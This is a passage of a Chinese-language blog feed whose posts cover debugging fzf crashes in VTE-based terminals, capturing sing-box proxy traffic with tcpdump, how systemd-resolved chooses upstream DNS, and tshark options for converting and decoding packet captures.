&lt;h2 id=&quot;zhong-zhi-zhong-duan&quot;&gt;重置终端&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 重置gnome-terminal配置
dconf reset -f &amp;#x2F;org&amp;#x2F;gnome&amp;#x2F;terminal&amp;#x2F;
# 或完全删除配置
rm -rf ~&amp;#x2F;.config&amp;#x2F;gnome-terminal&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;jian-cha-ri-zhi&quot;&gt;检查日志&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;journalctl -xe | grep -i terminal
dmesg | grep -i error
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;chang-shi-qi-ta-zhong-duan&quot;&gt;尝试其他终端&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;首次使用tilix时，发现正常了&lt;&#x2F;li&gt;
&lt;li&gt;但是这只是表象 ORZ&lt;&#x2F;li&gt;
&lt;li&gt;用了一天之后，又发生了同样的异常&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install tilix
tilix
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;huai-yi-fzf&quot;&gt;怀疑fzf&lt;&#x2F;h2&gt;
&lt;p&gt;首先 Ctrl + R 绑定的程序是fzf&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;bindkey | grep -Ei &amp;#x27;\^r&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;直接运行fzf发现就会发生崩溃&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;wei-shen-me-xin-an-zhuang-de-zhong-duan-bu-hui-beng-kui-ni&quot;&gt;为什么新安装的终端不会崩溃呢？&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;使用strace发现fzf发生了141退出吗，&lt;&#x2F;li&gt;
&lt;li&gt;搜索后发现是sigpipe导致的:  &lt;code&gt;sig = errno - 128 = 141 - 128 = 13&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;即退出码141对应信号13（SIGPIPE）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strace -f -o fzf.log fzf
strace -f -e trace=pipe,write,socket -o debug.log fzf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;怀疑是结果过大导致的&lt;&#x2F;li&gt;
&lt;li&gt;最后缩小范围，发现候选行数超过一定行数fzf就会报错&lt;&#x2F;li&gt;
&lt;li&gt;但是这个值会发生变化&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;yes | head -n 46149 | fzf
seq 50000 | fzf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;huan-zhong-duan-mo-ni-qi&quot;&gt;换终端模拟器&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;apt install kitty&lt;&#x2F;li&gt;
&lt;li&gt;apt install alacritty&lt;&#x2F;li&gt;
&lt;li&gt;apt install tilix #（也基于 VTE，但版本有时会稍微稳定些）&lt;&#x2F;li&gt;
&lt;li&gt;用 tmux 作为缓冲&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;seq 1000000 | fzf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我切换了kitty终端，发现是正常的， 怀疑的确是VTE的bug导致的&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-shen-me-kitty-alacritty-zheng-chang&quot;&gt;为什么 kitty &#x2F; alacritty 正常？&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;终端&lt;&#x2F;th&gt;&lt;th&gt;渲染引擎&lt;&#x2F;th&gt;&lt;th&gt;特点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;kitty&lt;&#x2F;td&gt;&lt;td&gt;自研 GPU 加速&lt;&#x2F;td&gt;&lt;td&gt;高性能，专为大输出优化&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;alacritty&lt;&#x2F;td&gt;&lt;td&gt;GPU 加速（OpenGL）&lt;&#x2F;td&gt;&lt;td&gt;极致性能，Rust 编写&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;gnome-terminal &#x2F; tilix&lt;&#x2F;td&gt;&lt;td&gt;VTE（CPU 渲染）&lt;&#x2F;td&gt;&lt;td&gt;功能完整但性能较弱&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;👉 kitty 和 alacritty 使用现代渲染架构，能更高效处理 fzf 的快速滚动和高密度输出。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jie-jue-fang-an&quot;&gt;解决方案&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;xu-shi-yong-kitty-huo-alacritty-tui-jian&quot;&gt;续使用 kitty 或 alacritty（推荐）&lt;&#x2F;h2&gt;
&lt;p&gt;这是最稳定、长期有效的方案：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装 kitty
sudo apt install kitty
# 或安装 alacritty
sudo apt install alacritty
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;💡 推荐 kitty：功能丰富、文档完善、对 fzf&#x2F;tmux 支持极佳。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;sheng-ji-vte-dao-0-76-feng-xian-jiao-gao&quot;&gt;升级 VTE 到 0.76+（风险较高）&lt;&#x2F;h2&gt;
&lt;p&gt;Ubuntu 24.04 默认未提供新版 VTE，但您可以：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;从 Debian 测试源或第三方 PPA 安装&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 添加提供新版 VTE 的 PPA（需谨慎）
# 例如：https:&amp;#x2F;&amp;#x2F;launchpad.net&amp;#x2F;~gnome-team&amp;#x2F;+archive&amp;#x2F;ubuntu&amp;#x2F;gnome3
sudo add-apt-repository ppa:gnome-team&amp;#x2F;gnome3
sudo apt update
sudo apt install libvte-2.91-dev libvte-2.91-0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;shen-me-shi-vte&quot;&gt;什么是 VTE？&lt;&#x2F;h3&gt;
&lt;p&gt;VTE 是 GNOME Terminal、Tilix、MATE Terminal 等使用的底层终端控件库（libvte）
Ubuntu 24.04 默认带的是 VTE 0.74.x，这个版本在 Gitlab issue 里已经有 “ncurses 程序在大数据输入下崩溃” 的 bug 报告，可以试试更新到 0.76+ 或从源码编译新版本。
该版本在处理高吞吐量、快速连续的 ANSI&#x2F;VT100 控制序列输出时，存在缓冲区管理缺陷&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>tcpdump 抓包sing-box流量</title>
        <published>2025-08-13T16:03:07+08:00</published>
        <updated>2025-08-13T16:03:07+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/learn/tcpdump 抓包sing-box流量/"/>
        <id>https://vercel.juzhong.asia/2025/08/learn/tcpdump 抓包sing-box流量/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/learn/tcpdump 抓包sing-box流量/">&lt;h1 id=&quot;shi-yong-de-sing-boxdai-ma&quot;&gt;使用的sing-box代码&lt;&#x2F;h1&gt;
&lt;p&gt;下载并编译&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git clone git@github.com:moxuetianya&amp;#x2F;sing-box.git
cd sing-box
go build -v .&amp;#x2F;cmd&amp;#x2F;sing-box&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;qi-dong-sing-box-vless-jie-dian&quot;&gt;启动sing-box vless 节点&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;.&amp;#x2F;sing-box run -c release&amp;#x2F;config&amp;#x2F;vless-config-client.json 
.&amp;#x2F;sing-box run -c release&amp;#x2F;config&amp;#x2F;vless-config.json 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;jin-yong-ipv6&quot;&gt;禁用ipv6&lt;&#x2F;h1&gt;
&lt;p&gt;发现本地的网络出口不支持ipv6
直接使用上面的命令启动后， 代理访问目的服务可能使用ipv6地址&lt;&#x2F;p&gt;
&lt;p&gt;如 www.baidu.com, 使用了ipv6地址, 但是本地网络提供商没有提供ipv6服务，导致超时报错&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;curl -X5 -x socks5:&amp;#x2F;&amp;#x2F;127.0.0.1:1080 www.baidu.com
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;粗暴点，直接禁用接口的ipv6&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1
curl -X5 -x socks5:&amp;#x2F;&amp;#x2F;127.0.0.1:1080 www.baidu.com
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zhua-bao&quot;&gt;抓包&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo tcpdump -i lo port 50000 -w &amp;#x2F;tmp&amp;#x2F;vless.pcap -nnvv
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linxu DNS systemd-resolved</title>
        <published>2025-08-13T11:37:01+08:00</published>
        <updated>2025-08-13T11:37:01+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/linxu DNS systemd-resolved/"/>
        <id>https://vercel.juzhong.asia/2025/08/linxu DNS systemd-resolved/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/linxu DNS systemd-resolved/">&lt;h1 id=&quot;systemd-resolved-huo-qu-shang-you-dns-de-tu-jing&quot;&gt;systemd-resolved 获取上游 DNS 的途径&lt;&#x2F;h1&gt;
&lt;p&gt;systemd-resolved 不会依赖 &#x2F;etc&#x2F;resolv.conf 获取上游 DNS（因为那是它给应用程序提供的入口）。它通过更底层的、按网络接口（Link）独立配置 的方式获取上游 DNS：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wang-luo-guan-li-qi-pei-zhi-zhu-yao-lai-yuan&quot;&gt;网络管理器配置（主要来源）:&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;systemd-networkd： 如果使用 systemd-networkd 管理网络，会在网络配置文件（如 &#x2F;etc&#x2F;systemd&#x2F;network&#x2F;80-wired.network）中通过 DNS= 选项指定：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Network]
DNS=192.168.1.1 8.8.8.8
DNS=1.1.1.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;NetworkManager： 如果使用 GNOME&#x2F;KDE 等桌面环境的 NetworkManager：
&lt;ul&gt;
&lt;li&gt;它会自动从 DHCP 服务器获取 DNS 信息。&lt;&#x2F;li&gt;
&lt;li&gt;或通过 GUI&#x2F;nmcli 手动配置的 DNS 服务器（如 nmcli con mod eth0 ipv4.dns &quot;192.168.1.1 8.8.8.8&quot;）。&lt;&#x2F;li&gt;
&lt;li&gt;NetworkManager 会将这些配置通过 D-Bus 实时推送给 systemd-resolved。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;systemd-resolved-quan-ju-pei-zhi-wen-jian-etc-systemd-resolved-conf&quot;&gt;systemd-resolved 全局配置文件 (&#x2F;etc&#x2F;systemd&#x2F;resolved.conf):&lt;&#x2F;h2&gt;
&lt;p&gt;可以作为备用或全局覆盖，使用 DNS= 选项：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Resolve]
DNS=9.9.9.9 2620:fe::fe # 例如 Quad9 DNS
FallbackDNS=8.8.8.8 2001:4860:4860::8888 # 备用 Google DNS
Domains=~example.com # 搜索域
#DNSSEC=yes # 可选 DNSSEC 配置
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;重要： 接口特定配置（来自 systemd-networkd 或 NetworkManager）优先级高于 全局 resolved.conf 中的配置。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;dhcp-ke-hu-duan-ji-cheng&quot;&gt;DHCP 客户端集成:&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;当网络接口通过 DHCP 获取 IP 地址时，DHCP 服务器通常会同时提供 DNS 服务器地址。&lt;&#x2F;li&gt;
&lt;li&gt;systemd-networkd 或 NetworkManager 的 DHCP 客户端模块会自动捕获这些 DNS 信息，并将其作为该接口的 DNS 配置提供给 systemd-resolved。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;vpn-huo-te-shu-wang-luo-jie-kou&quot;&gt;VPN 或特殊网络接口:&lt;&#x2F;h2&gt;
&lt;p&gt;当连接 VPN（如 OpenVPN, WireGuard）或使用特殊接口（如 PPPoE）时：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;VPN 客户端或接口管理器会动态添加其特定的 DNS 服务器地址到 systemd-resolved 中（通常通过 D-Bus API）。&lt;&#x2F;li&gt;
&lt;li&gt;systemd-resolved 知道这些 DNS 服务器仅适用于通过该 VPN&#x2F;接口路由的流量。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;linux-dnscha-xun-ru-he-dao-da-zhen-zheng-de-shang-you-dns&quot;&gt;linux dns查询如何到达真正的上游 DNS？&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;应用程序发起查询： 浏览器等 App 请求 www.example.com。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查询发送到 stub： 根据 &#x2F;etc&#x2F;resolv.conf (指向 127.0.0.53)，查询被发送到本机 systemd-resolved 服务。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;systemd-resolved 处理：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;检查本地缓存（如有缓存且有效，直接返回结果）。&lt;&#x2F;li&gt;
&lt;li&gt;检查是否属于 LLMNR&#x2F;mDNS 域名（如 .local），如果是则在本地链路处理。&lt;&#x2F;li&gt;
&lt;li&gt;判断查询应使用哪个网络接口的上游 DNS (基于源接口、路由策略、域名后缀匹配)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;转发到上游 DNS： systemd-resolved 将查询转发给为该接口&#x2F;域配置的真正上游 DNS 服务器（如 192.168.1.1 或 9.9.9.9）。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;支持协议：传统 UDP&#x2F;TCP DNS，或加密的 DNS-over-TLS (DoT) &#x2F; DNS-over-HTTPS (DoH)（需配置）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;接收并处理响应：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;接收上游 DNS 返回的响应。&lt;&#x2F;li&gt;
&lt;li&gt;可选进行 DNSSEC 验证（若配置）。&lt;&#x2F;li&gt;
&lt;li&gt;将响应结果缓存（根据记录的 TTL）。&lt;&#x2F;li&gt;
&lt;li&gt;将最终结果返回给发起查询的应用程序。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>使用tshark进行pcap和pcapng的转换</title>
        <published>2025-08-12T18:53:51+08:00</published>
        <updated>2025-08-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/pcap和pcapng的转换/"/>
        <id>https://vercel.juzhong.asia/2025/08/pcap和pcapng的转换/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/pcap和pcapng的转换/">&lt;h1 id=&quot;tshark-jian-jie&quot;&gt;tshark 简介&lt;&#x2F;h1&gt;
&lt;p&gt;tshark就是wireshark的命令行之一。WireShark的功能基本都有，还能组合grep&#x2F;awk等编程处理分析抓包文件。&lt;&#x2F;p&gt;
&lt;p&gt;TShark是一个网络分析工具。它能帮你在实时网络中捕获数据包，或是从预先保存好的捕获文件中读取数据包，或是打印出这些数据包的解码形式到标准输出，再或是把数据包写入到一个文件中。TShark的本地捕获文件格式是pcapng格式，这种pcapng格式也被wireshark和多种其他工具使用。&lt;&#x2F;p&gt;
&lt;p&gt;Wireshark除了能够手动的分析报文之外，还额外的提供了几个命令行工具，方便开发者日常的报文处理需求，比如批量的合并以及编辑报文。这几个命令都是安装wireshark之后能够直接使用的，同时有的有对应的wireshark GUI 的操作。这些命令分别有tshark、tcpdump、capinfos、dumpcap、text2cap、editcap、reordercap、rawshark、mergecap、pcapfix(需单独安装)。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;tshark：基于终端的Wireshark&lt;&#x2F;li&gt;
&lt;li&gt;tcpdump：使用“tcpdump”捕获以便使用Wireshark查看&lt;&#x2F;li&gt;
&lt;li&gt;dumpcap：捕获“dumpcap”以便使用Wireshark查看&lt;&#x2F;li&gt;
&lt;li&gt;capinfos：打印有关捕获文件的信息&lt;&#x2F;li&gt;
&lt;li&gt;rawshark：转储和分析网络流量。&lt;&#x2F;li&gt;
&lt;li&gt;editcap：编辑捕获文件&lt;&#x2F;li&gt;
&lt;li&gt;mergecap：将多个捕获文件合并为一个&lt;&#x2F;li&gt;
&lt;li&gt;text2pcap：将ASCII hexdumps转换为网络捕获&lt;&#x2F;li&gt;
&lt;li&gt;reordercap：重新排序捕获文件&lt;&#x2F;li&gt;
&lt;li&gt;pcapfix: 修复pcap文件&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;pcap&quot;&gt;pcap&lt;&#x2F;h1&gt;
&lt;p&gt;Wireshark默认的存储方式是pcap格式，最新版本的wireshark默认存储方式是pcapng。ng是next generation 的缩写，pcap和pcapng格式文件有是存在一定的差异。&lt;&#x2F;p&gt;
&lt;p&gt;pcap报文文件结构示意图 https:&#x2F;&#x2F;img1.kiosk007.top&#x2F;static&#x2F;images&#x2F;tshark&#x2F;pcap_file_format.png&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Global Header是整个文件的文件头，包含文件格式标识，pcap格式版本号等文件指示信息。&lt;&#x2F;li&gt;
&lt;li&gt;Packet Header是每一片数据报文的头部信息，这些信息都是在形成pcap 报文的过程中由抓包软件wireshark添加的额外信息，例如报文捕获时间等。&lt;&#x2F;li&gt;
&lt;li&gt;Packet Data是抓取通信过程中的实际数据，包括协议数据和内容数据。&lt;&#x2F;li&gt;
&lt;li&gt;Wireshark 中对 Global Header 的定义&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;typedef struct pcap_hdr_s {
    guint32 magic_number;   &amp;#x2F;* magic number *&amp;#x2F;
    guint16 version_major;  &amp;#x2F;* major version number *&amp;#x2F;
    guint16 version_minor;  &amp;#x2F;* minor version number *&amp;#x2F;
    gint32  thiszone;       &amp;#x2F;* GMT to local correction *&amp;#x2F;
    guint32 sigfigs;        &amp;#x2F;* accuracy of timestamps *&amp;#x2F;
    guint32 snaplen;        &amp;#x2F;* max length of captured packets, in octets *&amp;#x2F;
    guint32 network;        &amp;#x2F;* data link type *&amp;#x2F;
} pcap_hdr_t;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Wireshark 中对 Packet Header 的定义&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;typedef struct pcaprec_hdr_s {
    guint32 ts_sec;         &amp;#x2F;* timestamp seconds *&amp;#x2F;
    guint32 ts_usec;        &amp;#x2F;* timestamp microseconds *&amp;#x2F;
    guint32 incl_len;       &amp;#x2F;* number of octets of packet saved in file *&amp;#x2F;
    guint32 orig_len;       &amp;#x2F;* actual length of packet *&amp;#x2F;
} pcaprec_hdr_t;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;tshark-zhuan-huan-pcapng-wei-pcap&quot;&gt;tshark 转换pcapng 为pcap&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tshark -F pcap -r origin.pcapng -w output.pcap
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;tshark-zhong-de-chang-yong-can-shu&quot;&gt;tshark 中的常用参数&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;-o ${key:value} : 配置首选项中的settings, 一般可配置显示时间戳、是否相关seq number，或者TLS、WPA 解密等。
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;08&#x2F;pcap%E5%92%8Cpcapng%E7%9A%84%E8%BD%AC%E6%8D%A2&#x2F;2025-08-13-09-43-10.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;-z ${statistics} : 集各种类型的统计信息, 这里面有一些信息是很有用的，如专家信息、时序统计飞行中的报文、时序丢包都需要这个参数
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;08&#x2F;pcap%E5%92%8Cpcapng%E7%9A%84%E8%BD%AC%E6%8D%A2&#x2F;2025-08-13-09-45-04.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;其他参数介绍&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# 抓包接口类
-i 设置抓包的网络接口，不设置则默认为第一个非自环接口。
-D 列出当前存在的网络接口。在不了解OS所控制的网络设备时，一般先用“tshark -D”查看网络接口的编号以供-i参数使用。
-f 设定抓包过滤表达式（capture filter expression）。抓包过滤表达式的写法雷同于tcpdump
-s 设置每个抓包的大小，默认为65535，多于这个大小的数据将不会被程序记入内存、写入文件
-p 设置网络接口以非混合模式工作，即只关心和本机有关的流量

# 停止抓包参数
-c 抓取的packet数，在处理一定数量的packet后，停止抓取，程序退出。
-a 设置tshark抓包停止向文件书写的条件，事实上是tshark在正常启动之后停止工作并返回的条件。条件写为test:value的形式，如“-a duration:5”表示tshark启动后在5秒内抓包然后停止；“-a filesize:10”表示tshark在输出文件达到10kB后停止；“-a files:n”表示tshark在写满n个文件后停止。

# 处理类
-R 设置读取（显示）过滤表达式（read filter expression）。不符合此表达式的流量同样不会被写入文件。
-n 禁止所有地址名字解析（默认为允许所有）。
-N 启用某一层的地址名字解析。“m”代表MAC层，“n”代表网络层，“t”代表传输层，“C”代表当前异步DNS查找。如果-n和-N参数同时存在，-n将被忽略。如果-n和-N参数都不写，则默认打开所有地址名字解析。
-d 将指定的数据按有关协议解包输出。如要将tcp 8888端口的流量按http解包，应该写为“-d tcp.port==8888,http”。注意选择子和解包协议之间不能留空格。

# 输出类
-w 设置raw数据的输出文件。这个参数不设置，tshark将会把解码结果输出到stdout。“-w-”表示把raw输出到stdout。如果要把解码结果输出到文件，使用重定向“&amp;gt;”而不要-w参数。
-F 设置输出raw数据的格式，默认为libpcap。“tshark -F”会列出所有支持的raw格式。
-V 设置将解码结果的细节输出，否则解码结果仅显示一个packet一行的summary。
-x 设置在解码输出结果中，每个packet后面以HEX dump的方式显示具体数据。
-T 设置解码结果输出的格式，包括text,ps,psml和pdml，默认为text。
-E: -E &amp;lt;fieldsoption&amp;gt;=&amp;lt;value&amp;gt;如果-T fields选项指定，使用-E来设置一些属性，比如
　　　　header=y|n
　　　　separator=&amp;#x2F;t|&amp;#x2F;s|&amp;lt;char&amp;gt;
　　　　occurrence=f|l|a
　　　　aggregator=,|&amp;#x2F;s|&amp;lt;char&amp;gt;
-t 设置解码结果的时间格式。“ad”表示带日期的绝对时间，“a”表示不带日期的绝对时间，“r”表示从第一个包到现在的相对时间，“d”表示两个相邻包之间的增量时间（delta）。
-S 在向raw文件输出的同时，将解码结果打印到控制台。
-l 在处理每个包时即时刷新输出。
-X 扩展项。
-q 设置安静的stdout输出（例如做统计时）
-z 设置统计参数。

# 其他
-h 显示命令行帮助。
-v 显示tshark的版本信息。
-o 重载选项
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;tshark-da-yin-pcap&quot;&gt;tshark 打印pcap&lt;&#x2F;h1&gt;
&lt;p&gt;我们通过tcpdump或者wireshark抓到 pcap 文件，接下来就可以利用 tshark 这个强大的命令行工具进行抓包。其中 -o的几个选项可以指定 ssl 解密（需要sslkeylog），-T 指定输出格式，-e 指定都需要输出哪些字段（字段列表参考 https:&#x2F;&#x2F;www.wireshark.org&#x2F;docs&#x2F;dfref&#x2F;）。输出是将每个Package中指定的字段输出。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tshark -o ssl.keylog_file:.&amp;#x2F;sslkeylog.txt \
-o &amp;quot;ssl.desegment_ssl_records: TRUE&amp;quot; \
-o &amp;quot;ssl.desegment_ssl_application_data: TRUE&amp;quot; \
-e ssl.handshake.ciphersuite \  
-e tcp.analysis.zero_window \
-e http.host \
-e dns.time \
-e tcp.flags.urg \
-e http.request.line \
-e dns.qry.name \
-e ip.version \
-e tcp.analysis.window_full \
-e ipv6.dst \
-e http.request.version \
-e udp.dstport \
-e dns.flags.response \
.... \
-T json -r &amp;quot;.&amp;#x2F;capturedump.pcap&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其他样例&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&amp;#x2F;&amp;#x2F;打印http协议流相关信息
tshark -s 512 -i eth0 -n -f &amp;#x27;tcp dst port 80&amp;#x27; -Y &amp;#x27;http.host and http.request.uri&amp;#x27; -T fields -e http.host -e http.request.uri -l
&amp;#x2F;&amp;#x2F;实时打印当前mysql查询语句
tshark -s 512 -i eth0 -n -f &amp;#x27;tcp dst port 3306&amp;#x27; -Y &amp;#x27;mysql.query&amp;#x27; -T fields -e mysql.query
&amp;#x2F;&amp;#x2F;解析MySQL协议
